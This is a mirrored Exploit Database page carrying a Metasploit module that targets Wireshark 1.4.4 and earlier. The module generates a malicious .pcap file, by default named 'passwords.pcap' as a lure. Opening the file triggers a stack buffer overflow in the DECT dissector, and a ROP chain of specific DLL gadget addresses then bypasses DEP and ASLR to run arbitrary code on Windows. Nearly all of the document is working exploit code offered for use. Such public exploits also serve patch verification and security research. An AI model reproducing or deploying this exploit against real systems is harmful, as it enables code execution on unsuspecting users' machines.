Wireshark 1.4.4 – ‘packet-dect.c’ Local Stack Buffer Overflow (Metasploit) (1)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2011-04-19
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17186/

• ##
  # $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Wireshark <= 1.4.4
  				When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
  				resulting in arbitrary code execution.
  				This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'sickness', #found the vulnerabilitiy
  					'corelanc0d3r'#rop exploit + msf module
  				],
  			'Version'=> '$Revision: 12364 $',
  			'References' =>
  				[
  					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
  					[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 936,
  					'DisableNops' => 'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ '32-bit Windows Universal (Generic DEP & ASLR Bypass)', 
  						{ 
  							'OffSet' => 1243,
  							'Ret'=> 0x667c484d, #libgnutl pivot - tx Lincoln
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Apr 18 2011',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'pcap file','passwords.pcap']),
  			], self.class)
  	end
  	
  	def junk
  		return rand_text(4).unpack("L")[0].to_i
  	end
  
  	def exploit
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		global_header = "\xd4\xc3\xb2\xa1"# magic_number
  		global_header << "\x02\x00" # major version
  		global_header << "\x04\x00" # minor version
  		global_header << "\x00\x00\x00\x00" # GMT to local correction
  		global_header << "\x00\x00\x00\x00" # accuracy
  		global_header << "\xff\x7f\x00\x00" # snaplen
  		global_header << "\x01\x00\x00\x00" # data link type
  
  		packet_header = "\x26\x32\xac\x4d"#timestamp seconds
  		packet_header << "\xda\xfa\x00\x08" #timestamp microseconds
  		packet_header << "\x04\x06\x00\x00" #nr of octets of packet in file
  		packet_header << "\x04\x06\x00\x00" #actual size of packet (1540)	
  
  		ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"
  
  		print_status("Preparing payload")
  
  		pivot = [target.ret].pack('V')
  
  		# pvefindaddr rop 'n roll
  		# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
  		rop_pivot =
  		[
  			0x618d7d0e, # RET		
  			0x618d7d0e, # RET		
  			0x618d7d0e, # RET		
  			0x64f9d5ec, # ADD ESP,0C # RET - libfontconfig-1.dll
  			0x618d7d0e, # RET <- don't count on this one !
  			0x618d7d0e, # RET
  			0x618d7d0e, # RET
  			0x618d7d0e, # RET
  			0x61C14268, # ADD ESP,24 # RETN - freetype6.dll
  			0xFFFFFFFF, # crash baby ! 
  			0xFFFFFFFF,
  			0xFFFFFFFF,
  			0xFFFFFFFF,
  			0xFFFFFFFF,
  			0x618d7d0e,
  			0x618d7d0e,
  			0x618d7d0e,
  			0x618d7d0e,
  		].pack("V*")
  
  		rop_gadgets =
  		[
  	
  			0x6d7155cb, # PUSH ESP # POP EBX # POP EBP # RETN**[libpangoft2-1.0-0.dll]
  			junk,
  			0x6d596e31, # MOV EAX,EBX # POP EBX # POP EBP # RETN**[libgio-2.0-0.dll]
  			junk,
  			junk,
  			0x61c14552, # POP EBX # RETN** [freetype6.dll]
  			0x00000800, # size - 0x800 should be more than enough
  			0x61c14043, # POP ESI # RETN** [freetype6.dll]	
  			0x0000009C, 
  			0x6d58321a, # ADD EAX,ESI # POP ESI # POP EBP # RETN**[libgio-2.0-0.dll]
  			junk,
  			junk,
  			0x68610a27, # XCHG EAX,EBP # RETN** [libglib-2.0-0.dll]
  			0x629445a6, # POP EAX # RETN** [libatk-1.0-0.dll]
  			0x62d9027c, # 
  			0x6c385913, # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN** [libgdk-win32-2.0-0.dll]
  			0x617bc526, # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN** [libgtk-win32-2.0-0.dll]
  			0x64f8c692, # POP EDX # RETN** [libfontconfig-1.dll]
  			0x00000040, #
  			0x619638db, # POP ECX # RETN** [libgtk-win32-2.0-0.dll]
  			0x6536B010, # RW
  			0x618d7d0d, # POP EDI # RETN** [libgtk-win32-2.0-0.dll] 
  			0x618d7d0e, # RET
  			0x64fa0c15, # POP EAX # RETN** [libfontconfig-1.dll] 
  			0x618d7d0e, # RET
  			0x61963fdb, # PUSHAD # RETN ** [libgtk-win32-2.0-0.dll]
  		].pack("V*")
  
  		pivot = [target.ret].pack('V')
  
  		buffer = rand_text(131)
  		buffer << rop_pivot
  		buffer << rop_gadgets
  
  		nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))
  
  		buffer << nops
  		buffer << payload.encoded
  		buffer << pivot
  
  		filler = 1540 - buffer.length
  
  		buffer << rand_text(filler)
  
  		filecontent = global_header
  		filecontent << packet_header
  		filecontent << ptype
  		filecontent << buffer
  
  		print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
  
  		file_create(filecontent)
  	end
  end